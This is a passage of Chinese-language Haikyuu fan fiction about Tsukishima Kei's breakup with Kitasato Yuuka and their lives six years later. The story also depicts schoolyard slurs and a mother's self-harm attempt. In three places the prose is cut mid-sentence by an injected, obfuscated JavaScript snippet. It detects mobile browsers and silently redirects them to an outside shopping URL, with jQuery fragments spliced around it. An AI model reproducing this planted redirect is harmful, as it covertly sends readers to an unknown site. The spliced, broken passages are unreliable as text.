“我知道，我不是一个很好的女朋友，任性、自私，连公开和为你的每场比赛应援都做不到。有时候我会想，喜欢这样一个差劲的我、你会不会很辛苦。但你对我太好了，好到我越来越坏、并且毫无改变。” “一直以来谢谢你。” * 月岛萤发现北里悠花的眼眶通红。 感官变得无比迟钝，他好像知道了她接下来要说些什么、大脑却还固执地不愿承认。 北里悠花不该是这样的。 她应该开朗、明媚，永远在人群里闪闪发亮。穿着她喜欢的漂亮衣服无忧无虑，像一只花蝴蝶自由而没有拘束。可她现在的表情却是他从没有看到过的、悲伤。 她是从什么时候开始变成这样的？ 其实他早就知道的不是吗？北里悠花去东京后就不太开心。 那场流感不过是她拙劣的谎言，只要思考下就知道假得离谱、可他当时忙得没放在心上。 春高结束后的再次见面，北里悠花的状态很奇怪、他也没有继续问下去。 昨天在USJ她说的话也正经到像离别感言，走马灯般地回忆他们的恋爱史。就连亲吻、拥抱、做.爱时，她看上去也难过得不行。 明明他都知道的。 月岛萤喉咙有些发干，只能叫她：“……悠花。” 他伸手去抱她、和以前一样把她抱在怀中。 北里悠花还是那么瘦、甚至比之前又瘦了好多，他为什么没有及时发现。 北里悠花的声音有些哽咽，却还是在他的怀抱中不断道歉：“对不起，对不起……对不起。” 她的泪水落在月岛萤的大衣上，晕开了一小块。 可为什么要和他道歉？ 为什么道歉的人是她？ 月岛萤不明白她的悲伤源于何处，想要提问却不知从何说起。他和北里悠花的生活竟然变成了不会相交的平行线，亦或是、他们本来就不应该有什么交集。 月岛萤感到不解。 “为什么要道歉？” “发生什么事了？别哭。” 月岛萤的动作十分僵硬，只能拍拍她因哭泣而颤抖的背。又找出纸巾，擦去她涌出的眼泪。 月岛萤不喜欢北里悠花哭。 每次她一哭、他就无所适从，她还是适合笑脸。 可北里悠花并没有回答他的疑问，只是不断地摇着头。 她的话都因为哭泣而不连贯，阳光落在她强撑笑意的脸上看起来悲惨无比。 “我很喜欢你，真的很喜欢你。但是萤君，对不起、我好像没办法和你一起考虑以后了。” “为什么？” 只剩心脏在麻木不停地跳动，月岛萤听到自己幼稚的发问。 他发现、他不愿接受“分手”这件事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754959|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 为什么？ 明明昨晚还一切正常，她还说他们要一起去别的地方旅游、说到在一起很久以后的事情。 那些都算什么？ “我不知道我的喜欢还能维持多久了……我很懦弱也很胆小，我必须回到东京……” “我可以来找你。” 月岛萤打断她。 “不是距离的问题。”北里悠花还是摇头，“是我没有办法和你在一起了。” 她满眼泪光，声音却异常坚定。 “月岛萤，我们分手吧。” 她终于还是把这句话说出来了。 牵引理智的最后一根线断了。 月岛萤只觉得十分可笑，他很少叫她的全名、表情嘲讽。 “北里悠花，你把我当成什么了？” “想来就来、想走就走？用完就随意丢掉？” “连为什么要分手都不愿意说是吗？” 北里悠花愣在原地。 面对质问、她不知道能说什么，只能不断重复：“对不起……” “被甩的是我，你哭什么？” 月岛萤对她扯出一个冷漠的笑。 他看上去像接受了事实，至少表情没什么波动。只是眼眸十分冰冷，再也没有了刚才的温柔。 北里悠花感觉到自己的眼泪顺着脸颊、流到下巴上。 而刚刚被她甩了的月岛萤还是放下骄傲，继续用纸巾帮她擦眼泪。 “你还是不肯告诉我原因吗？” 他问她。 北里悠花露出一个比哭还难看的表情： “不是不肯告诉你，只是我不希望自己的难堪被你看到。月岛萤，如果我们再晚一点遇到就好了、至少不该是现在。” “我不会待在宫城，你也不会为了我放弃一切到东京吧？就算每周坐新干线来又有什么意义呢？不过是浪费彼此的时间罢了，我没有把握自己不会喜欢上别人、也不想每天对着手机猜你在干什么。” “即便现在不分手，在未来的某一天我们还是会为了这种小事不断争吵的。我们太不成熟了，只是一直活在乌托邦里。” “我很爱慕虚荣、希望以后吃的喝的用的都是名牌奢侈品，至少现在的你不能为我做到这些。” “我遇到的麻烦事你没有能力解决，有些路我只能选择一个人走下去。” “分手、是对我们最好的选择。” 北里悠花知道自己说出的话非常难听，也一定会伤月岛萤的自尊心。 但即便如此，她还是选择将残酷的现实揭露在他们面前。她看见月岛萤停下了动作，一句话都没有说。 良久，他才开口。 “我知道了。” 他的眼睛也红了。 * 回去的路十分沉默，他们在新干线车站分别。 月岛萤帮北里悠花拖着那只沉重无比的行李箱，来旅游的路上他已经吐槽过：“为什么只住一个晚上，你会有那么多行李？” 当时她白了他一眼，开始掰着手指和他计算：“外套、衣服、鞋子、化妆品、护肤品、包包、首饰、卷发棒……当然会那么重呀~” 月岛萤把她送到东京方向的进站口，将行李箱交到她手上。 北里悠花的眼睛肿得像核桃，她转头看了月岛萤一眼。 那瞬间她想起好多。 他让她好好走路、好好写作业、好好吃饭；约会时他会自然地牵着她，那么不喜欢高调的一个人却愿意为了她发IG秀恩爱、只为满足她的小虚荣心；即便嘴上说着不愿意，也会陪她度过每一个纪念日、再准备礼物；她受了委屈他就一定会在，他们在一起了那么那么久。 久到她在宫城的每一天，好像都和月岛萤有关。 可月岛萤是她的PlanB，却从来不是最优解。她总是把月岛萤的存在当作理所当然，好像一回头他就永远会站在那里等着她、为她托底。 所以离开的时候，才能减少自己的罪恶感。 只是此时此刻北里悠花无比清晰地意识到，以后月岛萤不会在她身边了。 她不能再对他撒娇任性耍小脾气了。 回忆像潮水将她吞没。 北里悠花扔下行李跑过去、再次紧紧拥抱住他。 月岛萤抬了抬手，却没有再碰她。 40.40. 五月中旬，天气逐渐升温。 叮铃铃—— 七点，闹钟准时响起。 起床、洗漱、换上运动服，为了维持肌肉量出门进行半小时的晨跑。 七点四十五分，回家后简单冲澡。 早餐是三明治和黑咖啡，同时打开电视、收看晨间新闻。 七点五十九分，会穿插播放一分钟的晨间占卜。 “天秤座的各位，本月你将会迎来好运！今天的幸运物是巧克力哦～” 主持人话音刚落，月岛萤就关闭了电视。再次进行口腔清洁后、换上熨烫平整的白衬衫和西装裤、细致打理发型、最后拿上公文包和车钥匙，才算是完成今天的出门准备。 八点二十五分，通勤。 工作地距离公寓开车二十分钟，算是轻松。 月岛萤今年二十四岁，社畜二年目，在仙台博物馆担任学艺员。平时主要负责策展与藏品管理研究，偶尔还会面向仙台市民进行教育知识普及。 高中毕业后，月岛萤以优异的成绩考入东北大学历史学。四年间他还额外修满了博物馆学的相关课程，并通过了文部科学省的资格认证考试，在大四那年就顺利拿到仙台博物馆的内定资格，秒杀了一众还在苦苦进行就职活动的同级生。 八点五十分，到达仙台博物馆门口。 月岛萤收到了月岛明光发来的LINE。 月岛明光： 「萤，这周末绘里也会来家里一起吃饭哦。」 “绘里”全名为白石绘里，是月岛明光交往两年的女友兼未婚妻。 月岛明光就职于文具制造公司，在公司间的联谊上与对面商社的白石绘里相识相恋。上个月、月岛明光求婚成功，两人预计于下半年提交婚姻届，成为夫妇。 工作后，月岛萤不再和父母一起住、每周末兄弟俩都会回去和父母一起聚餐。 月岛明光发来LINE的意思，是要将白石绘里正式介绍给月岛家认识。 Tsuki： 「好的。」 月岛萤见过白石绘里一次，是一位气质文雅的女性。说话细声细气、挽着月岛明光的手腕笑得亲昵。 对于两人的修成正果，月岛萤并没有什么特别感想。只是单纯觉得时间流速过快，身边的人竟然都陆续结婚了。 最早迈入婚姻殿堂的是田中龙之介和清水洁子，结婚已经快三年。 当时乌野高校的排球部全员到场参加，阵容不可谓不豪华，毕竟连国家队的日向选手和影山选手都抽出时间大驾光临、抢尽了风头。 月岛明光： 「听说仙台蛙要升V1了？」 Tsuki： 「嗯，应该是从下个赛季开始。」 月岛明光： 「可以啊！到时候我会带着绘里一起来应援的！」 Tsuki： 「应援扇就不用了。」 顺带一提，月岛萤还同时在仙台蛙担任副攻手。得益于近期的出色表现，仙台蛙将于下个赛季升入日本职业排球最权威的V1联盟进行比赛。 而上个赛季月岛明光不知哪根筋抽了，带了把写着巨大“萤”字的究极粉色应援扇来现场，被当时在场上的月岛萤用鄙夷的目光嫌弃了许久，并得到“还是假装不认识这个人是谁为好”的反应。 月岛明光： 「放心吧，这次不会带的！」 得到回复后，月岛萤走进办公室。 八点五十五分，打卡成功。 九点整，社畜时间开始。 “月岛前辈，这个策展方案能麻烦您帮我看一下吗……？” 说话的是后辈小川，比月岛萤晚一年入职、性格内向谨慎。完美学习报联商所有步骤的他，大小事都要向上汇报。 一个方案要先给月岛萤过目、再给月岛萤的前辈评价、又到课长修改、最后才交到部长手里全部推翻重来。 月岛萤看了眼花花绿绿的方案：“重新排版吧。” 小川：“可是前辈，这个排版不好看吗？我特意从网上找了模版做的。” 月岛萤：“部长已经五十九岁了。” 小川：“啊？” 月岛萤：“所以，不要指望一个快退休的老人能看懂chiikawa。” 小川虽然谨慎，却是资深宅男一枚。 对他来说这个chiikawa模版已经是最不会暴露死宅属性的了，于是他叹了口气、还是决定用ppt自带的模版改一改。 这时月岛萤被小川塞了一盒巧克力：“……这是？” 他不是很想被同性送巧克力。 小川不好意思道：“谢礼，非常感谢月岛前辈一直帮助我。” “听说月岛前辈喜欢草莓口味的，所以我特地挑了便利店最火的一款。” 月岛萤低头，看着手中巧克力的粉色包装、皮笑肉不笑：“那还真是谢谢了。” 这算什么？晨间占卜的魔力吗？ “天秤座的各位，本月你将会迎来好运！今天的幸运物是巧克力哦～！” 不，一定不是。 因为巧克力包装上印着的，正是那个六年前睡完他就翻脸不认人的、前女友的脸。 前任是艺人有一点不好。 网络、社媒、电视、广告，甚至连便利店和药妆店里，北里悠花的脸都随处可见，想避都避不开。 她在每个角落露出自信灿烂的笑容，仿佛和全世界宣告自己的存在。 月岛萤将有代言人的一面翻过来、盖在桌上。 十二点，午休。 糖分严重不足，经过一上午的脑力劳动后、月岛萤还是打开了巧克力的包装。 是很久违的味道。 因为北里悠花代言后他没再买过这个牌子。 月岛萤得出了结论，晨间占卜果然不可信。 * 因为上一赛季刚结束不久，今天正处于休赛期的仙台蛙没有安排训练任务。 同为朝九晚五的社畜，下班后山口忠和月岛萤约在附近的居酒屋。 暖黄色的小店内挤满了西装革履的上班族。大都在喝酒聊天，不时传出几声大笑。 为了保持身体的最佳状态，月岛萤不抽烟也不怎么喝酒。 但这并不代表月岛萤酒量不好，相反，山口忠见过他面不改色地一杯杯喝酒、并且毫无醉意的样子。 果然是阿月！成为大人了也那么克制自己！ 即便认识多年，山口忠对月岛萤天然的“尊敬”依旧不减。 他现在在大手家电制造商工作，隶属于家电事业部。职务偏营业、也就是所谓的销售，所以进入社会后社交技能又有了显著提高。 “阿月你今天竟然喝酒了，真是稀奇。” 山口忠笑着打趣他。 月岛萤今天难得点了一杯啤酒。 啤酒的白色浮沫迅速聚集在玻璃杯顶端，他拿起杯子喝了一口：“休赛期。” “明光哥最近怎么样？” “求婚成功了，周末要带女朋友回来吃饭。” “呜哇——真是羡慕！上次听佐佐木说，我们高中班上也有人要结婚了。” “谁？” “是星野同学哦。” 山口忠也喝了口啤酒：“佐佐木同学还说，星野同学的婚礼规模很大、到时候日期定了会邀请全班同学参加。” 月岛萤：“……他是新郎吗？” 佐佐木同学果然没变，即便毕业多年也能掌握一手八卦。 “哈哈哈，不过新郎阿月你也认识哦。” “？” “就是当年和星野杏交往的那个隔壁班的男生！你还记得吧！” “哦，是他啊。” 月岛萤记得很清楚。 当年星野杏的男朋友来班上送零食，自己也模仿对方做了一样的蠢事，只为讨北里悠花开心。 “好像婚礼就在下个月来着。时间真快啊，一转眼身边那么多人都结婚了，我总觉得参加田中前辈的婚礼还是昨天呢。” 月岛萤没有答腔，视线朝一个方向投去。 居酒屋的老板在升腾的热气中烤着烧鸟串，山口忠点的提灯和鸡腿肉上了桌、他吹了两下放入口中。注意到月岛萤的眼神，也跟着看去。 黄金时间段，墙壁上挂着的电视正在播放晚间综艺，本期的嘉宾之一正是他们曾经的同班同学北里悠花。 ——这位在入学时造成轰动，毕业时造成校园地震的女艺人。 北里悠花仍旧在电视里光彩夺目，巧妙回答主持人的提问、又适时抛出一个梗来，惹得全场哄堂大笑。 “北里同学的新剧好像要上了。” 月岛萤看他一眼：“你也是她粉丝？” 山口忠笑着摆手：“没有啦，不过公司的后辈们最近都在讨论。北里同学很受年轻女生的欢迎呢，和以前一样。” 月岛萤移开视线，用筷子夹起一块炸软骨：“是吗。” 山口忠咽下鸡腿肉，突发奇想：“我记得以前北里同学和星野同学关系很好，说不定下个月的婚礼她也会来。” 月岛萤冷笑一声：“呵，她会来？” 仿佛听到了笑话一样，将最后一口啤酒吞进肚里。 他很清楚，北里悠花是不会来的。 星野杏对北里悠花来说，大概率只是生命中占比不到0.1%的过客。既不能提供人脉帮助，也没有任何金钱价值，何必千里迢迢从她最爱的东京赶到没有天空树的仙台来。 “话说回来，有段时间阿月你和北里同学不是也关系很好吗？后来怎么不联系了？” “没什么特别的原因。” “果然是因为你当时交女朋友了，要和她保持距离吧！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776614|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……倒也不是因为这个。” “不过当时我真的吓了一跳，没想到你竟然会那么冲动。” 山口忠留下这句话后，就临时被上司一个电话call回去加班、据说是订单数量出现了问题。 他拿上外套双手合十，说着“抱歉阿月下次约”光速消失。 这段围绕着北里悠花的谈话总算结束。 冲动……吗？ 单身人士的夜晚平平无奇。 月岛萤又独自坐了一会儿，起身结账、推开店门。 明天开始他决定拉黑晨间占卜。 从早上起床到现在，北里悠花这个名字出现的频率实在过高。他非但没有迎来所谓的幸运，又再一次的回想起了这段无疾而终的初恋。 还有北里悠花最后留给他的，悲伤却释怀的眼神。 * 分手后，北里悠花拉黑了他的LINE，连每天更新的IG小号也永远停止在了那张USJ的合照上——他们两个戴着史努比发箍比出幼稚的剪刀手。 月岛萤后来去过北里悠花租的公寓。 她什么都没有带来、也什么都没有带走，除了他帮她拿的那只行李箱，好像没有其他值得留恋的物品。 再后来那间公寓也被一对夫妇买下，站在楼下能看到窗户上装上了新的彩色窗帘。 被媒体曝光后，关于北里悠花的流言持续了很长时间。 上网时她的名字，经常和“风俗”、“出轨不伦”、“陪酒女”、“歌舞伎”等关键词联系在一起。网民们很愤怒，月岛萤只觉得这群网络蛀虫十分无聊。 他看了爆料的照片，这才知道原来那天看秀时坐在他旁边的就是北里悠花的妈妈。 不过网络世界、很快又产生新的热点。 国民演员的丑闻顶上头条，没人再关心一个高中生。 但在一群未开化的高中生中，如此带有颜色的传闻不会轻易褪去。 那段时间，月岛萤经常能听到周围的同学在学校里对北里悠花议论纷纷。 “想不到她竟然是那种人……” “就是啊，平时还装出一副清高的样子，我还以为她是有钱人家的大小姐呢。” “你们有注意过吗，我之前看她用的包包是香奈儿最新款哦。我就说她的钱都是哪里来的，原来都是她妈妈去……噗哈哈哈哈。” “真是的，好脏啊！” 看来生物进化时，确实有一部分没有跟上节奏，只是披着人类的外衣、但内核还是草履虫。 人类没必要和草履虫计较。 直到有一天放学，月岛萤和山口忠路过操场。 边上有两个低年级学弟，正对着手机笑得不坏好意。 从月岛萤的角度看去，刚好能看到他们手机屏幕里的图片。亮度调得很高，是北里悠花曾经参加最美高中生选美比赛时的泳装照片。 他们脸上是月岛萤最厌恶的、贪婪的、丑陋的神情，如同在点评猪肉一样，用轻蔑而下流的语气说： “平时在学校穿那么保守，原来身材那么好。可惜了，当时没上手摸两把。” “就是啊，说不定她继承母业，毕竟她妈不就是干这个的？” “婊.子罢了。你想想，在这种环境里长大的女的，能是什么好货色？” “怪不得在学校里那么会勾引人……” 恶心。刺耳。 那个人的最后一个音节还没吐出，月岛萤就在山口忠震惊的目光下，一把提起了骂得最凶的人的衣领。 “说够了吗？” 月岛萤的手臂青筋暴起，愤怒几乎要吞噬整个大脑。甚至还没有完全挥臂，就让那人狼狈离地。 那人吓破了胆，将后半句的污言秽语憋了回去。只能看着面前突然出现的高个子，结结巴巴道：“你……你谁啊，想干什么！” 像只被拎起了壳的乌龟、滑稽地蹬腿挣扎。 大概是自知理亏，看着月岛萤冰冷的目光，逐渐弱了声音、没了刚才嚣张的气焰。他的同伙也吓得站在一边不敢动，一句话也没再说。 月岛萤的另一只手攥紧了拳，在准备提拳打上去的一刻被山口忠制止。 “阿、阿月，别冲动！” 他是知道的，只是无法再保持冷静。 月岛萤最后没揍那个人，他攥着对方衣领的手猛地向下一扔。 “砰！” 发出身体撞击地面的声响，那人被月岛萤结结实实地摔在地上，发出一声痛苦的闷哼。 “抱歉，是我高估你了。” “原来你不是没教养，只是作为草履虫靠条件反射在排泄。” “真脏。” 月岛萤像在看劣等生物一样，讥诮道。 * 北里悠花没有来参加毕业典礼。 这之后的很长一段时间，月岛萤都不再有北里悠花的消息。 41.41. 东京，暴雨夜。 北里悠花是被噩梦吓醒的。昨天她收到了星野杏的婚礼请柬，久违地梦到了高中时期的事。 对北里悠花来说，十八岁的开端是苦涩的。 和月岛萤分手后的次日，媒体铺天盖地的报道便登上头条。从此她和北里女士的名字被钉上了耻辱柱，每天打开后台私信都是各种谩骂。弱小的她只能蜷缩在房间的角落，面对恶评无所适从。 「这家事务所还真是卧龙凤雏，一个是贪污大臣的女儿一个是女公关的女儿。」 「这样的人也配做高中生的偶像？」 「日本的未来真的要完蛋了！」 「不会也逼着自己女儿去卖吧…怪不得之前封面一直是她…细思极恐。」 …… 一有新消息提醒她就会全身颤抖。 于是北里悠花将手机关机，她变得不想上网、不敢见人，出门会带上口罩和帽子，把存在感降到最低。日本高中生在入学考试结束后仍有一段时间需要去学校，北里悠花干脆请了长假在家里等待录取结果，连最后的毕业典礼都没有参加。 事情发酵的一周后，北里女士打碎了卧室里的一瓶香水。 那天听到动静的北里悠花立即推开卧室门，浓郁的香水味漫溢在房间内，让人头晕目眩、甚至想要呕吐。而她看见，北里女士竟不知为何蹲在地上，正眼神空洞地捡起香水瓶的玻璃碎片，往自己的手腕上划去。 “妈妈！！！快停下啊！！！你在干什么啊啊啊啊！！！” 当时北里悠花急得大叫。她差点摔倒在地上，连拖鞋都吓得掉了一只、整个人踉跄地跑到北里女士身边，一把夺过她手里的玻璃碎片。尖端的玻璃渣划破北里悠花的手指，痛得不行。鲜红的血珠从指尖冒出滴落到地板上，她只能吃痛倒吸一口冷气。 “嘶……” 但北里女士依旧目光涣散、连焦点都没有。她的脸色苍白，像是不知道自己做了什么一样，茫然地对着北里悠花眨了眨眼睛。又过了一会儿，才缓慢地用双手捂住脸、默默开始哭泣。 北里悠花顾不得疼痛，撑着笑脸安慰起北里女士。暗色的血迹凝固在地板上，她的眼泪在眼眶里打转、一直没有掉下。 “妈妈这些碎片我来处理你不要乱动哦！” “我们等下去医院，没关系的～” “打碎东西很正常的，不用难过！” 北里悠花快速拿来清理工具，镇定地扫掉所有玻璃碎片，顺便打开了窗户通风。香水味在鼻尖挥之不去，指尖的伤口也还在渗血。 那天实在很混乱。 她只记得自己送北里女士去医院做了心理诊断，诊断结果不出所料，北里女士因为此次的事件无比自责、患上了重度抑郁。 那么强大的一位母亲、那么多年都坚强得仿佛无坚不摧的北里女士，因为亲手将女儿推向深渊而彻底精神崩溃。 这件事终于成为压垮北里女士的最后一根稻草，那段时间北里悠花只能每天陪在北里女士身边，监督她吃下抗抑郁的药物，握住她的手，一遍又一遍地重复： “妈妈，我没事的。” 尽管经营许久的社媒账号被收回，合约自动到期解除，事务所也发了声明撇清关系……尽管北里悠花成了第二个夏川西奈，一下子从人人喜爱的少女模特变成了过街老鼠。 但是没关系。都没关系。 她只能逼着自己乐观，即便当时已经处于破碎的边缘，还要打起精神去照顾北里女士。她连在家里放声哭泣都不敢、她不能让北里女士担心。 那时候北里悠花会不自觉地想，国小时抱着她躲在破旧公寓里的北里女士，是不是也是同样的想法。 北里女士为她在前面遮风挡雨了那么多年，现在北里悠花接过了她手中的伞。 北里悠花真正变成了大人。 她帮北里女士辞去了歌舞伎町的工作，那么些年北里女士的积蓄颇丰，也足够一辈子衣食无忧。又聘请了二十四小时的专业护工，在家里安装了全方位的摄像头才安心去上大学。 四月、北里悠花被日本大学的艺术学部录取，专攻表演。她并没有逃到国外留学，选择留在东京生活。大学四年也在风言风语中度过，没有事务所、没有资源、没有人气。同学们会私下议论她，老师们对她的实力存疑。 她一个人孤单地活着。 后来她学到一个词，“八方美人”。在日语中用来形容八面玲珑、圆滑世故的人。多含虚伪、擅长讨好或刻意迎合的意思。 这个词是北里悠花的写照，也是她的转机， 大学毕业后，北里悠花偶然得到了一部小成本网剧的女二号出演机会。这个角色是经典的“恶役千金”，不讨喜，作为天天破坏男女主角感情的恶毒女配存在。所以找了一圈根本没人愿意接，导演是个年轻女生，在某天刷到北里悠花的黑料时定下了人选、发来邀请。 恶役千金，需要有一张愚蠢但美丽的脸。 而北里悠花刚好符合了所有要求，甚至她没有拒绝的选项。 可好巧不巧，就是这部粗制滥造的小网剧，在网上突然爆火了。火的还不是男女主的cp，而是北里悠花饰演的女二号！观众们说她饰演的大小姐优雅得体，偶尔还能流露出几分天真的娇憨，看起来就是一位在勇敢追爱的真千金。 看到这个评价后北里悠花差点没笑出声。 因为她模仿的不是别人，正是夏川西奈的样子。 剧组给她准备的服装都是最廉价的优衣库，北里悠花就借来北里女士的大牌服装。直到今天她还记得，夏川西奈穿聚酯纤维会过敏。她一辈子都忘不了那年在后台，穿上快销服装时对方所露出的嫌弃眼神。 她讨厌夏川西奈，却又凭着记忆模仿她的一切。谈吐、举止，甚至是看人时眼高于顶的神情。有钱人都会在平时装出善良大方的样子，但在真的涉及个人利益时就立马露出原本的面目，抢占一切，且对自己的行为毫无愧意。 有钱人家的大小姐也愚蠢至极。 为了喜欢的人，不惜进入演艺圈成为模特。最后不但成了笑柄，还连累到她这个底层人物。 夏川家让北里悠花遭受了无妄之灾，北里悠花也靠夏川西奈再次走向巅峰。 可是西奈啊。 她在无数个夜里恶毒地诅咒过。 你爸爸能去死就好了。 * 这是个清醒梦。 荒诞的人生轨迹像走马灯一样在眼前掠过。 醒了之后就再无睡意，全身都是冷汗。手机上的屏幕显示的时间是凌晨两点，北里悠花穿着真丝睡裙走到客厅的窗前。雨点敲击窗户，将远处的灯光晕成马赛克。 北里悠花购买的塔楼位于东京的黄金地段之一、世田谷区。住宅区周围非常安静，十分合适像她这样需要隐私性的独居女性。面积不大，尽管只有1LDK、却依旧显得空空荡荡。她还是和以前一样，家里和样板间没有区别。 北里悠花看向被她随手丢在沙发上的精致请柬，在新郎新娘的姓名上停留了许久。最后拿起手机，开始打字给星野杏。 毕业后北里悠花换了联系方式，只告诉了星野杏和村上由奈，但也没有过多联系。所以当收到请柬时她有些惊讶，没想到星野杏和那个已经记不清脸的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818984|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帅哥竟然真的能爱情长跑多年、最后迈入婚姻的殿堂。 Yuuka： 「小杏，我收到请柬啦！恭喜呀～」 星野杏成年后也是个夜猫子，很快消息就变成了「已读」状态。 星野杏： 「诶诶诶！竟然真的是悠花本人！！！」 Yuuka： 「什么啦～不是我还能是谁啦！」 北里悠花看到回复后忍俊不禁。 星野杏： 「因为真的好久没联系啦，其实寄请柬给你前我还有点忐忑呢，也不知道你后来在东京的地址有没有变过。幸好还是以前你给我的那个（笑）」 Yuuka： 「嗯嗯是呀，真的好久不见啦。我也很想你们的（抱抱）」 星野杏： 「我知道悠花你工作一定很忙，所以有你的祝福我已经很开心了（心）」 看着星野杏发来的消息，北里悠花才知道原来对方已经默认她不会去婚礼了。不过也是，那么多年不联系、给请柬也只是走个过场，纪念一下曾经的友情。 她跟星野杏的感情并没有好到不分彼此的地步，一定要说的话，那段青涩的校园时光确实给她带来了幸福和平静。下个月北里悠花的新戏杀青，正好有假期可以回宫城看看。 更何况，她还有一点自己的考量在。 Yuuka： 「婚礼我会来的哦～我真的很想亲眼见证小杏的幸福！」 北里悠花刚发完这句话，星野杏便用一长串感叹号占据了屏幕。 星野杏： 「诶！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！」 「我没看错吧！！！！！！！！！！！！！！！！！！！！！！！！」 「天呐谁能想到人气女演员是我的高中好朋友，到时候我在婚礼上可以好好炫耀了哈哈哈哈哈哈！！！！！」 「这简直是惊喜环节，牙白我已经憋不住想给大家剧透了哈哈哈哈」 Yuuka： 「哪有那么夸张啦。」 面对恭维，北里悠花嘴角更弯了些。那么多年她还是改不掉这个坏习惯，享受着他人的追捧。如是又闲扯了几句，倒有种回到高中的感觉。 星野杏： 「不过悠花你工作不要紧吗？」 Yuuka： 「新戏正好要杀青啦～」 星野杏： 「555你去年演的那部网剧真是太好看了（暴风哭泣）当时我身边几乎所有人都在追呢！就算是恶役千金，也让人根本讨厌不起来！！！跟以前学园祭的玛蒂尔德一样！」 Yuuka： 「真的吗～谢谢你们喜欢呀^ω^」 星野杏： 「好期待到时候和班上的大家见面哦！」 Yuuka： 「还有那些同学会来呀？」 星野杏： 「因为我和我老公是在乌野认识的嘛，所以我们就邀请了我们班和隔壁班的所有同学来参加。毕竟是人生仅此一次的婚礼，还是决定办得热闹一点。」 所有同学？ 那月岛萤应该也会去……吧？ 北里悠花若有所思，打字的手指停顿了下。 二十四岁是一个合适的年纪。 北里悠花想再见一次月岛萤，虽然不知道对方的想法。但是没关系。 和以前一样，再把他变成她的就行。 Yuuka： 「这样啊～我也很期待能见到大家。」 她笑着回复。 42.42. 周六中午，月岛宅。 母亲一早上就开始忙活，收拾家里、梳妆打扮，在客厅里来回踱步。父亲连胡子都刮了两遍，心不在焉地看着报纸、却五分钟没翻一页。这下月岛萤成了整个家里最闲的人。 门铃响了。 “来了。” 月岛萤打开门，与正拿着手帕擦汗的月岛明光对视。他很少见到月岛明光紧张成这样，于是挑了挑眉感到有趣。对方不仅在大周末穿着夸张的正装、表情十分不自然，连叫他名字时都有些结巴：“哟，萤。” 他身边的白石绘里倒是一切如常，她化着淡妆，笑眯眯地和月岛萤打了个招呼。浅粉色的洋装得体大方，手上提着一个礼品袋：“好久不见呀，小萤。” 月岛萤朝她点了点头：“好久不见，快进来吧。” 一进门，母亲和父亲就拉着白石绘里开始寒暄。一群人互相鞠躬，聊着无关痛痒的话题，好一会儿才终于坐到了沙发上。 “伯父伯母，今天不好意思打扰了。听明光说大家都喜欢吃甜食，所以我擅作主张买了一点甜品、不知道合不合各位的口味，还请收下。”白石绘里双手递上礼物、礼节到位，一番贴心话惹得母亲笑弯了眼。 “诶呀，绘里真是太有心了，我现在可以打开吗？”母亲乐呵呵地接过礼物。 “当然可以，请千万不要客气。”白石绘里保持微笑。 母亲刚打开袋子，就发出惊呼：“天呐，这是我最喜欢那家店的限定和果子。” 知名百货店的限定点心十分精致，礼盒上打着装饰缎带，每一枚和果子都被做成了樱花瓣的形状。 月岛明光适时补充：“绘里排了一个半小时才买到的。” “没有那么久啦，明光说得太夸张了。”白石绘里笑着摇头，又不轻不重地给了月岛明光一记眼刀，于是月岛明光在收到信号后立马被拿捏、咽下了声音。 月岛萤将一切收入眼底，他之前以为白石绘里是更加柔软些的性子，现在看来也并不全是。 总之月岛一家其乐融融，不多久便到了吃饭的时间。饭桌上，月岛明光坚定地牵着白石绘里的手，郑重宣布： “绘里是我决定共度一生的伴侣。” “我希望今天能够得到大家的祝福。” 月岛明光低下了自己的头，第一次在家人面前露出这般谦卑的态度。他将爱意与珍惜毫无保留地展示出来，只为让白石绘里获得家人的尊重与认可。 白石绘里也跟着低头，左手无名指上的钻戒闪闪发光：“明光是对于我来说最重要的人。我会一直在他身边支持他，给他幸福。” 母亲和父亲自然没有意见，他们巴不得兄弟俩早早结婚。 一本正经的父亲清了清嗓子：“那我们家不省心的儿子，以后就拜托你了。” 多愁善感的母亲快要掉眼泪：“是呀，从今天开始我们就是一家人了，绘里你千万不要拘束，明光还要多麻烦你照顾了。真好，看着你们能幸福也是我最开心的事情。” 而月岛萤作为旁观者、再一次见证了他人的爱情：“恭喜。” 一群人又讨论起了婚礼与蜜月计划，月岛萤拿着杯子发呆。作为附带的他只有旁听的份，却被母亲注意到，开始数落起了他的“罪行”。 “萤你也是，你哥哥都要结婚了，而你到现在连女朋友的影子都没让我们看见。” 月岛萤：“……” 